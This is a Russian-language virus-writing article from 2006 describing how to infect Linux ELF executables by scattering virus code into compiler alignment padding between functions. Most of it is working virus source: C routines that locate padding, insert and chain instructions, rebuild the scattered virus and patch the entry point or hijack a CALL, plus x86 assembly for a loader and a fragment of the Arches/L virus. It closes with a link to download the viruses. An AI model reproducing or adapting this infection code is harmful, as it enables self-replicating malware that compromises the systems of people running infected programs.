Заражение ELF-файлов с использованием выравнивания функций для Linux
herm1t
Август 2006
Введение
Не так давно я прочитал две статьи посвященные довольно занятному методу заражения ELF-файлов [1,2], о котором мы с вами и поговорим. Удивительно, но инструменты представленные Z0mbie и Ares предназначены для внедрения троянов, а вирусов, использующих эту технологию я пока не видел, хотя может быть, не очень-то внимательно смотрел. Ж-) Метод необычен и имеет, как преимущества, так и недостатки, но давайте обо всем по порядку.
Для увеличения производительности кода компилятор выравнивает функции, циклы, обращения к данным и стеку на границу кратную степеням двойки. Опции выраниваня gcc можно посмотреть `cc1 --help`, нас же интересует то, как все это выглядит в коде. Посмотрим:
805cb99: 89 0d 10 0e 0e 08 mov %ecx,0x80e0e10 805cb9f: 89 ec mov %ebp,%esp 805cba1: 5d pop %ebp ; здесь закончилась 805cba2: c3 ret ; одна функция 805cba3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi ; *выравнивание* 805cba9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi ; *выравнивание* 805cbb0: 55 push %ebp ; здесь началась следующая 805cbb1: 89 e5 mov %esp,%ebp
Целых тринадцать байт только в одной функции! Именно в эти островки свободного места мы и будем писать наш код. Заражать файл будем следующим образом:
- Достаем наш код из памяти текущего процесса
- Убираем из кода все команды перехода-связки
- Находим жертву
- Открываем жертву, отображаем в память, проверяем, находим секцию .text
- Находим в ней все островки свободного места
- Попытаемся вставить наш код инструкция за инструкцией в найденные островки, связывая их командами перехода (jmp near)
- Исправляем в нашем коде все команды условного и безусловного переходов (jmp/jcc/call)
- Исправляем заголовки или код жертвы, таким образом, чтобы при запуске вирус получил управление
Что получится в результате? Вот так выглядит вирусный загрузчик вставленный в bash:
805c1f3: 60 pusha 805c1f4: 68 78 65 00 00 push $0x6578 805c1f9: e9 25 03 00 00 jmp 805c523 ---+ ....... .............. .................. | 805c523: 68 6c 66 2f 65 push $0x652f666c <--+ 805c528: e9 1b 02 00 00 jmp 805c748 ---+ ....... .............. .................. | 805c748: e9 c6 00 00 00 jmp 805c813 <==| 805c74d: 90 nop | 805c74e: 90 nop | 805c74f: 90 nop | ....... .............. .................. | 805c813: 68 63 2f 73 65 push $0x65732f63 <--+ 805c818: e9 06 03 00 00 jmp 805cb23 ---+ ....... .............. .................. | 805cb23: 68 2f 70 72 6f push $0x6f72702f <--+ 805cb28: 6a 05 push $0x5 805cb2a: 58 pop %eax 805cb2b: e9 73 00 00 00 jmp 805cba3 ---+ | ....... .............. .................. ....... .............. .................. 8060708: e9 47 01 00 00 jmp 8060854 ---+ 806070d: 90 nop | 806070e: 90 nop | 806070f: 90 nop | ....... .............. .................. | 8060854: 68 10 b5 05 08 push $0x805b510 <--+ 8060859: c3 ret Новая точка входа: 0x805c1f3 Старая точка входа: 0x805b510
Рассмотрим каждый шаг по отдельности.
Поиск свободного места
Для начала достанем из binutils (файл gas/config/tc-i386.c) список инструкций используемых для выравнивания:
{0x90}; /* nop */ {0x89,0xf6}; /* movl %esi,%esi */ {0x8d,0x76,0x00}; /* leal 0(%esi),%esi */ {0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */ {0x90, /* nop */ 0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */ {0x8d,0xb6,0x00,0x00,0x00,0x00}; /* leal 0L(%esi),%esi */ {0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */ {0x90, /* nop */ 0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */ {0x89,0xf6, /* movl %esi,%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0x76,0x00, /* leal 0(%esi),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0x74,0x26,0x00, /* leal 0(%esi,1),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */ 0x8d,0xbf,0x00,0x00,0x00,0x00}; /* leal 0L(%edi),%edi */ {0x8d,0xb6,0x00,0x00,0x00,0x00, /* leal 0L(%esi),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0x8d,0xb4,0x26,0x00,0x00,0x00,0x00, /* leal 0L(%esi,1),%esi */ 0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */ {0xeb,0x0d,0x90,0x90,0x90,0x90,0x90, /* jmp .+15; lotsa nops */ 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
Искать эти сигнатуры будем при помощи их контрольной суммы и длины, это сократит размер таблицы. Для того, чтобы снизить количество ложных совпадений мы установим следующие ограничения:
- Участок который мы собираемся использовать расположен в секции .text.
- Если это не jmp .+15/nop/..., то ему должна предшествовать команда RET.
- Участок начинается на границе инструкции
- Найденый участок за вычетом команд RET/JMP должен быть не менее 6 байт (в конце каждого участка, кроме одной или нескольких наших инструкций будет еще команда "jmp near" на начало следующего участка).
В Infelf используется более сложный алгоритм поиска, но и наш метод дает неплохой результат, а памяти и времени требует меньше.
Для того, чтобы выполнялось условие 3 будем использовать дизассемблер длин, например mlde32 от uNdErX. Найденые островки сохраним в односвязном списке отсортированом по смещениям:
typedef struct _island island_t; struct __attribute__((packed)) _island { uint32_t offset; /* смещение */ uint32_t length; /* длина */ island_t *next; /* следующий элемент списка */ };
Сигнатуры будем хранить в массиве patterns:
struct { int length; /* длина */ /* смещение внутри участка найденного по сигнатуре, начиная с которого можно размещать свой код (1) */ int shift; uint32_t crc32; /* контрольная сумма */ } patterns[] = { {15, 1,0x11d50a7f}, {14, 1,0xe4ad564a}, {15, 2,0xd5cae9dc}, // EB 0D 90 90 ... {13, 1,0xd6b6dcfd}, {12, 1,0x19fbc1f4}, {11, 1,0x34a6685b}, {10, 1,0x74d8dd25}, {9, 1,0x6ed89f27}, {8, 1,0xb7109f48}, {7, 1,0x5d30a0da}, // C3 8D B6 00 00 00 00 };
(1) patterns.shift нам необходим, для того, чтобы соблюсти четвертое условие. Первые байты сигнатур либо C3 (RET), либо EB 0D (jmp .+15), которые мы не должны затирать. Поэтому для того, чтобы получить смещение и размер свободного участка добавим shift к смещению и вычтем из длины.
Вот код процедуры поиска на Си:
island_t *islands = NULL, *p, *tail; unsigned char *ptr = m + text_offset; int op_len; while (ptr < m + text_offset + text_size) { for (i = 0; i < 10; i++) if (crc32(ptr, patterns[i].length) == patterns[i].crc32) { p = (island_t*)malloc(sizeof(island_t)); p->offset = (uint32_t)(ptr + patterns[i].shift); p->length = patterns[i].length - patterns[i].shift; p->next = NULL; if (islands == NULL) islands = p; else tail->next = p; tail = p; ptr += patterns[i].length; continue; } if ((op_len = mlde32(ptr)) <= 0) { fprintf(stderr, "Illegal instruction!\n"); return 2; } ptr += op_len; }
Для того, чтобы выполнялось наше первое условие нам необходимо знать смещение секциии .text в файле, ее размер и адрес. Просмотрим заголовки файла. Поле e_shstrndx в заголовке ELF-файла содержит индекс секции таблицы строк в таблице секций, а e_shnum - количество секций. Нас интересуют следующие поля элементов таблицы секций:
- sh_name
- смещение в таблице строк на имя секции
- sh_offset
- смещение секции в файле
- sh_addr
- адрес секции в памяти
- sh_size
- размер секции
Код на Си для поиска секции .text:
// m - указатель на отображение файла в памяти Elf32_Ehdr *ehdr = (Elf32_Ehdr*)m; Elf32_Shdr *shdr = (Elf32_Shdr*)(m + ehdr->e_shoff), *s; uint32_t strtab, text_addr, text_size, text_offset = 0; char *name; int i; // проверим есть ли в файле таблица строк if (ehdr->e_shstrndx != SHN_UNDEF) { // получим смещение таблицы строк strtab = shdr[ehdr->e_shstrndx].sh_offset; // просмотрим все заголовки секций for (i = 0, s = shdr; i < ehdr->e_shnum; i++, s++) { name = m + strtab + s->sh_name; // ищем секцию с именем .text if (!strncmp(name, ".text", 5)) { text_addr = s->sh_addr; text_size = s->sh_size; text_offset = s->sh_offset; break; } } }
Полный код утилиты fpstat, которая выводит статистику по найденым свободным островкам в файле находится в приложении к статье.
Вставка кода
Предположим, что все инструкции вируса уже сохранены в списке стуктур code, следующего вида:
typedef struct _code code_t; struct __attribute__((packed)) _code { uint8_t *src; /* адрес в памяти */ uint8_t *dst; /* адрес в жертве */ uint32_t len; /* длина инструкции */ uint8_t *jmpto; /* адрес перехода для CALL/JMP/JCC или 0 */ code_t *next; /* следующая структура в списке */ };
И нам остается только вставить как можно больше команд в каждый островок, заполнить поле "dst" структур "code_t", связать островки джампами и исправить адреса переходов. Приступим:
island_t *i;
code_t *c;
int n, l;
for (i = islands, l = 0, c = code; c != NULL; )
// есть ли в текущем островке место для этой команды
// (с учетом jmp near в конце островка)?
if (l + c->len <= (i->length - 5)) {
// сохраним адрес
c->dst = i->offset + l;
// скопируем команду
memcpy(c->dst, c->src, c->len);
// увеличим счетчик использованного места для
// текущего островка
l += c->len;
// перейдем к следующей команде
c = c->next;
} else {
// ... нет, места больше нет
// забьем оставшуюся часть NOP'ами
for (n = l; n < i->length; n++)
*(uint8_t*)(i->offset + n) = 0x90;
// если у нас есть еще островки, допишем jmp near
// на следующий островок
if (i->next != NULL) {
*((uint8_t *)(i->offset + l)) = 0xe9;
*((uint32_t*)(i->offset + l + 1)) = i->next->offset - i->offset - l - 5;
} else
// места не осталось совсем, этот файл мы не заразим...
exit(2);
// попытаемся записать эту же команду
// в следующий остовок
i = i->next;
l = 0;
}
Исправляем адреса переходов:
for (c = code; c != NULL; c = c->next) // для каждой команды с ненулевым адресом перехода (jmp/call/jcc) if (c->jmpto != 0) { // найдем команду с этим адресом for (d = code; d != NULL; d = d->next) if (c->jmpto == d->src) { // исправим адрес в файле *((uint32_t*)(c->dst + c->len - 4)) = d->dst - c->dst - c->len; break; } // не нашли Ж-( в программе переход неизвестно куда // непременно вызовет ошибку. лучше прервемся пока не поздно... if (d == NULL) exit(2); }
Реконструируем свой код
Вот мы и подошли к последней и наиболее заебистой части технологии: один файл мы уже заразили и для того, чтобы заразить следующий нам ннеобходимо найти свой собственный код раскиданный по всему файлу, собрать его и убрать из него переходы-связки. Для этого нам понадобится дизассемблер длин, точка входа в вирус (с нее мы начнем дизассемблирование) и метка в конце вируса обозначающая, что пора остановиться. Для определения собственной точки входа мы не можем воспользоваться традиционной вирусной мантрой:
virus_start: pusha ... call delta delta: pop ebp sub ebp, (delta - virus_start)
Потому что все три команды (не говоря уж о предыдущих) могут оказаться в сотнях байт друг от друга, поэтому собственную точку входа будем записывать в тело вируса на этапе заражения. Чтобы определить куда именно, выберем команду, которая гарантированно не встретиться в нашем коде, например "mov esp, ?", вот так:
mov eax, esp ; сохраним esp mov esp, virus_start ; сюда будет записана ; новая точка входа mov [ebp + virus_entry], esp ; сохраним в переменной mov esp, eax ; востановим esp
А инструкция HLT послужит сигналом дизассемблеру, что вирус кончился и пора вернуть результат. Есть еще одна похожая проблема: По окончанию работы вирус должен вернуть управление в зараженную программу, если для этого используется команда "jmp near" мы должны, как-то отличить ее от остальных, чтобы дизассемблер, не перешел по ней к основной программе. Можно, к примеру, этот JMP расположить непосредственно перед HLT и добавить соответствующую проверку. А можно вообще использовать не JMP, а PUSH addr/RET (этот вариант мы тоже рассмотрим).
code_t *code = NULL, *code_ret = NULL, code_vep = NULL; void reassemble(uint8_t *ptr) { code_t *c, *q; int op_len; for (;;) { // HLT if (*ptr == 0xf4) return; // команда с таким смещением уже в списке? for (c = code; c != NULL; c = c->next) if (c->src == ptr) return; // получим длину op_len = mlde32(ptr); // неправильный опкод if (op_len <= 0) return; // заполняем новый элемент списка c = (code_t*)malloc(sizeof(code_t)); c->src = ptr; c->jmpto = 0; c->len = op_len; c->next = NULL; // сортировка вставкой по возрастанию адресов if (code == NULL || c->src < code->src) { c->next = code; code = c; } else { q = code; while (q->next != NULL && q->next->src < c->src) q = q->next; c->next = q->next; q->next = c; } // RET/RETN ? if (*ptr == 0xc3 || *ptr == 0xc2) return; // запомним указатель на этот элемент, потом запишем // в аргумент команды новую точку входа // MOV ESP, ? if (*ptr == 0xbc) code_vep = c; // CALL/JMP/Jcc ? if (*ptr == 0xe8 || *ptr == 0xe9 || (*ptr == 0x0f && (*(ptr + 1) & 0xf0) == 0x80)) { // вычисляем адрес перехода c->jmpto = ptr + op_len + *((uint32_t*)(ptr + op_len - 4)); // jmp? if (*ptr == 0xe9) { // если следом идет HLT, то это "jmp old_entry_point" // запомним адрес этого элемента и увеличим длину, // чтобы hlt скопировался вместе с jmp'ом в один блок if (*(ptr + 5) == 0xf4) { code_ret = c; c->jmpto = 0; c->len++; } else { // перейдем к вычисленному адресу ptr = c->jmpto; continue; } } else { // CALL/JCC // вызовем себя рекурсивно. выход из рекурсии либо // по RET, либо наткнемся на ранее дизассемблированную // команду, либо дойдем до конца вируса reassemble(c->jmpto); } } // перейдем к следующей команде ptr += op_len; } } reassemble(virus_entry);
Код вируса не должен содержать команд JMP/Jcc SHORT,LOOP,LOOPxx,JCXZ. Весьма вероятно, что при вставке адреса перехода для этих команд выйдут за диапазон +-128 байт. Мы конечно можем заменить вышеперечисленные команды их NEAR эквивалентами во время исполнения, но подобные замены имеют смысл только в том случае, если мы намерены не только разворрачивать "короткие" команды в "длинные", но и наооборот (иначе код производящий замены выполнится один раз и более нам не потребуется). Для многопроходной же оптимизации кода у нас просто недостаточно ресурсов.
Теперь уберем из реконструированного кода переходы-связки. Так как список отсортирован, достаточно проверить не указывает ли jmp на следующую команду в списке, если да, то его можно удалять. Вот так:
for (prev = code, c = code->next; c->next != NULL; c = c->next) if (c->src[0] != 0xe9 || c->jmpto != c->next->src) { prev->next = c; prev = c; } prev->next = c;
Исправляем заголовки
Сделать осталось совсем немного, сохранить нужные адреса в теле вируса и исправить заголовк ELF-файла, чтобы точка входа указывала на начало вируса. Проделаем все необходимые вычисления:
#define DST2VADDR(x) (x - m - text_offset + text_addr) // code - это первая команда вируса, code->dst - новая точка входа // сохраним ее в теле вируса (для дизассемблера) // указатель на "mov esp, " (code_vep) // мы запомнили на этапе дизассемблирования *((uint32_t*)(code_vep->dst + 1)) = DST2VADDR(code->dst); // запишем аргумент jmp для перехода на старую точку входа // указатель на команду перехода (code_ret) // мы запомнили на этапе дизассемблирования *((uint32_t*)(code_ret->dst + 1)) = ehdr->e_entry - DST2VADDR(code_ret->dst) - 5; ehdr->e_entry = DST2VADDR(code->dst);
Что еще можно сделать?
К вышеописанной процедуре заражения очень легко приделать EPO (скрытие точки входа), для этого, в функции поиска свободного места (все равно ведь мы просматриваем файл, так от чего бы заодно не найти инструкцию, к которой можно прицепиться?) добавим следующий фрагмент:
uint8_t *firstcall = NULL; //... if (firstcall == 0 && *ptr == 0xe8) firstacall = ptr; for (i = 0; i < 10; i++) //...
И переделаем заключительную часть (описанную в предыдущей главе) следующим образом:
// не нашли ни одного CALL if (firstcall == NULL) exit(2); // вычисляем и сохраняем в code_ret адрес, на который указывал CALL *((uint32_t*)(code_ret->dst + 1)) = DST2VADDR(firstcall) + *((uint32_t*)(firstcall + 1)) - DST2VADDR(code_ret->dst); // исправим CALL так, чтобы он указывал на нас *((uint32_t*)(firstcall + 1)) = DST2VADDR(code->dst) - DST2VADDR(firstcall) - 5;
Все. Точку входа не трогаем. Естественно, это может быть не первый CALL, и не CALL, а к примеру JMP, и не JMP, а что вообще в голову придет. Но это - на ваше усмотрение.
Полностью или частями?
Посмотрим fpstat'ом сколько же места доступно в "типичном" ELF-файле:
$ for i in /bin/*;do ./fpstat $i;done| > awk 'BEGIN{a=0;c=0}/^Total/{if($2>0){c++;a+=$2}}END{print a,c,a/c}' 35740 84 425,476
С /usr/bin дела обстоят немного лучше, но ненамного:
590556 1368 431,693
То есть, нашему вирусу честные программы готовы пожертвовать в среднем по 430 байт. Вирус конечно можно оптимизировать, но не настолько же. Можно ограничиться заражением только больших файлов таких, как bash, vim или php, а можно внедрять в файл загрузчик, а само тело вируса расположить в конце файла, как это предложено в [2]. Загрузчик должен:
- Открыть файл, в котором он находится (/proc/self/exe)
- Отобразить конец файла в память, начиная со смещения (длина файла - длина вируса), с правами PROT_READ|PROT_EXEC (смещение должно быть выравнено на границу страницы, иначе mmap вернет ошибку)
- Передать управление по адресу непосредственно следующему за загрузчиком, но в отображенном файле.
Вот так:
_start: pusha ; h = open ("/proc/self/exe", O_RDONLY); push dword 0x00006578 push dword 0x652f666c push dword 0x65732f63 push dword 0x6f72702f movb eax, SYS_open mov ebx, esp movb ecx, 0 int 0x80 add esp, byte 16 or eax,eax js near exit xchg eax,ebx ; l = lseek (h, 0, 2); movb eax, SYS_lseek movb ecx, 0 movb edx, 2 int 0x80 or eax, eax js near exit ; l -= VIRUS_SIZE; sub eax, VIRUS_SIZE ; a = mmap(NULL,VIRUS_SIZE,PROT_READ|PROT_EXEC,MAP_PRIVATE,h,l); mpush eax, ebx, MAP_PRIVATE, PROT_READ|PROT_EXEC,VIRUS_SIZE,0 mov ebx, esp movb eax, SYS_mmap int 0x80 add esp, byte 24 cmp eax, 0xfffff000 ja near exit lea ebx, [eax + (run - _start)] ; на эту команду наш дизассемблер внимания не обратит (что к лучшему) jmp ebx ; на выход. там дизассемблер остановится jmp near exit run: ; сохраним точку входа в вирус для дизассемблера (а можем отображать ; файл по фиксированному адресу и тогда, нужно просто заменить ; переменную self, на выбранный адрес) push eax ... pop edx mov self, edx push edx call reassemble ... exit: popa ; здесь, как и было обещано используем PUSH/RET для возврата ; в основную программу. HLT не нужен, дизассемблер выйдет по RET. db 0x68 __code_ret: dd fake_host ret
Кстати, обработка HLT и запись точки входа в тело вируса нам тоже теперь не понадобятся и эти фрагменты можно убрать:
//... if (*ptr == 0xf4) return; //... if (*ptr == 0xbc) code_vep = c; //... if (*(ptr + 5) == 0xf4) { code_ret = c; c->len++; } //...
Теперь посмотрим, какие изменения необходимо проделать в самом вирусе:
- Выровнять файл, чтобы его длина была кратна размеру страницы
- Записать тело вируса в конец файла
- Сохранить старую точку входа в файле
- Поменять точку входа
Фрагмент вируса Arches/L:
; увеличим длину файла, чтобы она стала кратна размеру страницы movb eax, SYS_ftruncate mov ebx, file_handle mov ecx, file_length add ecx, 4095 and ecx, 0xfffff000 mov edi, ecx int 0x80 or eax, eax jnz near unmap ; передвинем указатель в конец movb eax, SYS_lseek movb edx, 0 ;SEEK_SET int 0x80 cmp eax, ecx jne near unmap ; запишем тело вируса movb eax, SYS_write mov ecx, self mov edx, VIRUS_SIZE int 0x80 cmp eax, edx jne near unmap ; передвинем указатель на аргумент команды PUSH movb eax, SYS_lseek mov ecx, -VIRUS_SIZE + (__code_ret - _start) movb edx, 1 ; SEEK_CUR int 0x80 ; запишем старую точку входа mov esi, file_map mov edx, [esi + e_entry] push edx mov eax, SYS_write mov ebx, file_handle mov ecx, esp movb edx, 4 int 0x80 add esp, edx cmp edx, eax jne near unmap ; посчитаем новую точку входа mov eax, code mov eax, [eax + code_dst] sub eax, esi sub eax, text_offset add eax, text_addr ; исправим точку входа в заголовке ELF-файла mov [esi + e_entry], eax
Вот собственно и все, любые комментарии приветствуются. herm1t@vx.netlux.org
Скачать вирусы Arches,Arches/L и утилиты
Ссылки
- Z0mbie "Injected Evil", 2002
- Ares "Static linked ELF infecting", 2004
